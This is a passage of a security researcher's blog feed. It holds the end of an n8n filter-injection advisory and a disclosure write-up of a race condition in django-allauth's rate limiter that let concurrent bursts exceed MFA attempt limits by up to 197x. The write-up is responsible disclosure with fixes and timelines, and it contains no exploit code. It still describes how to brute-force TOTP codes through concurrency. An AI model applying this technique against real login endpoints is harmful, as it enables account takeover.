row: a single crafted request against a <code class="language-plaintext highlighter-rouge">Delete</code> operation using this
mode can empty the entire table in one call.</p>

<h2 id="impact">Impact</h2>

<p>Where a workflow builds a “Filters (String)” value from untrusted input,
whoever controls that input can widen the operation’s scope from “the row
they were supposed to match” to “every row in the table” — reading rows
they shouldn’t see, or updating or deleting rows they shouldn’t be able to
touch at all.</p>

<h2 id="fix">Fix</h2>

<p>Fixed in <strong>1.123.80</strong>, <strong>2.39.6</strong>, and <strong>2.40.1</strong> — upgrade to one of
these versions or later.</p>

<p>If you can’t upgrade immediately: audit workflows using “Filters
(String)” for any that build the filter from untrusted data, and switch
those to “Build Manually” instead, which uses parameterized filter
construction and isn’t affected. Restricting access to whatever trigger
feeds the untrusted data (a webhook, for instance) is a partial mitigation
at best.</p>

<h2 id="timeline">Timeline</h2>

<ul>
  <li>Reported to <code class="language-plaintext highlighter-rouge">security@n8n.io</code>, n8n’s vulnerability disclosure program.</li>
  <li>Passed initial triage; confirmed still present in the then-latest
release before a status follow-up.</li>
  <li><strong>2026-09-16</strong> — Advisory published as <code class="language-plaintext highlighter-rouge">GHSA-xrqg-3xcp-h45x</code>, High (CVSS
4.0 <code class="language-plaintext highlighter-rouge">AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H</code> = 7.1).</li>
</ul>

<h2 id="disclosure">Disclosure</h2>

<p>Full advisory: <a href="https://github.com/n8n-io/n8n/security/advisories/GHSA-xrqg-3xcp-h45x">GHSA-xrqg-3xcp-h45x</a>.</p>]]></content><author><name>Kaya Emre Arıkan</name></author><summary type="html"><![CDATA[Summary]]></summary></entry><entry><title type="html">django-allauth’s Rate Limiter Overran by Up to 200x Under Concurrency</title><link href="https://kearikan.com/writeups/django-allauth-ratelimit-concurrency-overrun/" rel="alternate" type="text/html" title="django-allauth’s Rate Limiter Overran by Up to 200x Under Concurrency" /><published>2026-09-11T00:00:00+00:00</published><updated>2026-09-11T00:00:00+00:00</updated><id>https://kearikan.com/writeups/django-allauth-ratelimit-concurrency-overrun</id><content type="html" xml:base="https://kearikan.com/writeups/django-allauth-ratelimit-concurrency-overrun/"><![CDATA[<h2 id="summary">Summary</h2>

<p>django-allauth’s built-in rate limiter is the only thing standing between
an attacker who already has a password and a valid TOTP code — a 6-digit
number with a 30-second lifetime. The limiter’s own docstring acknowledged
it could let “a few” extra requests through under concurrency and called
that an acceptable margin of error. It wasn’t a few. At 1024 concurrent
requests against a 5-per-5-minutes limit, 984 got through — a 197x
overrun, scaling directly with how many requests an attacker sends at
once.</p>

<h2 id="background">Background</h2>

<p><code class="language-plaintext highlighter-rouge">allauth/mfa/base/internal/flows.py</code>’s <code class="language-plaintext highlighter-rouge">check_rate_limit</code> gates both TOTP
and WebAuthn login attempts through <code class="language-plaintext highlighter-rouge">allauth/core/internal/ratelimit.py</code>’s
<code class="language-plaintext highlighter-rouge">_consume_single_rate</code>, keyed per-user (<code class="language-plaintext highlighter-rouge">mfa-auth-user-&lt;pk&gt;</code>), defaulting
to 5 attempts per 300 seconds. Since <code class="language-plaintext highlighter-rouge">MFA_TOTP_TOLERANCE</code> defaults to 0,
this limiter is the <em>entire</em> defense against brute-forcing a 6-digit code
once an attacker already holds the password — normally an acceptable
design, because 5 guesses per window makes brute force impractical.</p>

<p>The module’s docstring was explicit about the race and, incorrectly,
about its bound:</p>

<blockquote>
  <p>you may occasionally observe slight overruns—such as 11 or 12 requests
slipping through … exceeding the limit by a large margin is highly
unlikely.</p>
</blockquote>

<h2 id="the-vulnerability">The vulnerability</h2>

<p><code class="language-plaintext highlighter-rouge">_consume_single_rate</code> does a plain <code class="language-plaintext highlighter-rouge">cache.get</code> → compute → <code class="language-plaintext highlighter-rouge">cache.set</code>,
with no atomic operation, and writes back the <em>entire</em> timestamp list
rather than incrementing a counter. Two concurrent callers that both read
before either writes will both see room under the limit, and the second
write clobbers whatever the first one recorded — the classic
check-then-act race, just on a cache instead of a database row.</p>

<p>Measured against a Redis-backed limiter (the backend most production
deployments would actually run), with a 5-per-300s limit:</p>

<table>
  <thead>
    <tr>
      <th>Concurrent callers</th>
      <th>Allowed</th>
      <th>Expected</th>
      <th>Overrun</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>8</td>
      <td>5</td>
      <td>5</td>
      <td>1x (correct)</td>
    </tr>
    <tr>
      <td>128</td>
      <td>59</td>
      <td>5</td>
      <td>12x</td>
    </tr>
    <tr>
      <td>512</td>
      <td>146</td>
      <td>5</td>
      <td>29x</td>
    </tr>
    <tr>
      <td>1024</td>
      <td>984</td>
      <td>5</td>
      <td><strong>197x</strong></td>
    </tr>
  </tbody>
</table>

<p>The overrun scales with attacker concurrency, not with a fixed small
constant the way the docstring described. It does converge after the
first burst — a second wave against the same already-exhausted window let
through zero further requests, so this is one large overshoot per window
rather than an unbounded leak. End-to-end against a real running
<code class="language-plaintext highlighter-rouge">/accounts/2fa/authenticate/</code> endpoint (concurrency capped lower than the
limiter-level test by what a single-process dev server can actually fire
simultaneously): 128 concurrent guesses got 65 evaluated against an
intended limit of 5, versus exactly 5 when the same guesses were sent
sequentially.</p>

<p><code class="language-plaintext highlighter-rouge">LocMemCache</code> — a single-process in-memory cache — doesn’t show this at
all; a single Python-level lock effectively serializes access to it
regardless of what the rate-limiter code itself does. The race only
becomes observable with a real shared cache backend, which is exactly
what a multi-worker production deployment requires. That’s likely why the
docstring’s stated bound, while wrong, wasn’t obviously wrong from
whatever testing produced it.</p>

<h2 id="impact">Impact</h2>

<p>For an attacker who already has a victim’s password, TOTP’s only
remaining defense is that a 6-digit code has 300 seconds to be guessed
correctly out of a nominal 5 tries. A 197x overrun on that limit turns “5
guesses per 5-minute window” into “closer to a thousand guesses per
window” for anyone willing to fire enough concurrent requests — a
materially different brute-force cost against a 6-digit space.</p>

<h2 id="fix">Fix</h2>

<p>The maintainer’s fix wraps the whole read-modify-write critical section
in a <code class="language-plaintext highlighter-rouge">cache.add()</code>-based mutex — a lock built from the one operation every
Django cache backend implements atomically, rather than a Redis-specific
<code class="language-plaintext highlighter-rouge">INCR</code>/Lua approach that wouldn’t generalize across backends. Failing to
acquire the lock is treated as “over the limit,” so the rate limiter fails
closed rather than open under lock contention.</p>

<p>Verified against the same concurrency sweep: exactly 5 requests allowed at
every concurrency level from 8 to 1024, both at the limiter level and
end-to-end over real HTTP, with legitimate TOTP codes still authenticating
normally and sequential requests still cutting off at exactly 5. The one
real trade-off worth naming: past a few hundred truly concurrent callers
on the same key, the lock queues and a 1024-way burst’s wall time rises to
around 2.3 seconds — denials mostly shift from “over limit” to “lock
timeout,” but the limiter still fails closed either way.</p>

<h2 id="timeline">Timeline</h2>

<ul>
  <li><strong>2026-09-11</strong> — Reported by email (django-allauth’s rate-limit
documentation names email as the reporting channel; GitHub private
vulnerability reporting isn’t enabled on this repo).</li>
  <li><strong>2026-09-11</strong> — Maintainer fixed the same day
(<code class="language-plaintext highlighter-rouge">fix(ratelimit): atomic updates</code>), released in <strong>65.19.3</strong>, with a
public security notice in the changelog crediting the report.</li>
</ul>

<h2 id="disclosure">Disclosure</h2>

<p>No formal CVE/GHSA was filed for this one — django-allauth disclosed it
directly through a security notice in its own changelog, released the
same day as the fix:</p>

<blockquote>
  <p>A known flaw in the built-in rate limiting was that the configured
limits could be exceeded under a high volume of concurrent requests.
This was documented as an acceptably small margin of error. However, as
Kaya Emre Arikan (kemrec) demonstrated, the limits could be
substantially exceeded under a sufficiently high volume of concurrent
requests. This is now fixed by serializing rate limit updates.</p>
</blockquote>

<p>Full changelog entry: <a href="https://github.com/pennersr/django-allauth/blob/65.19.3/ChangeLog.rst">ChangeLog.rst, 65.19.3</a>.</p>]]></content><author><name>Kaya Emre Arıkan</name></author><summary type="html"><![CDATA[Summary]]></summary></entry></feed>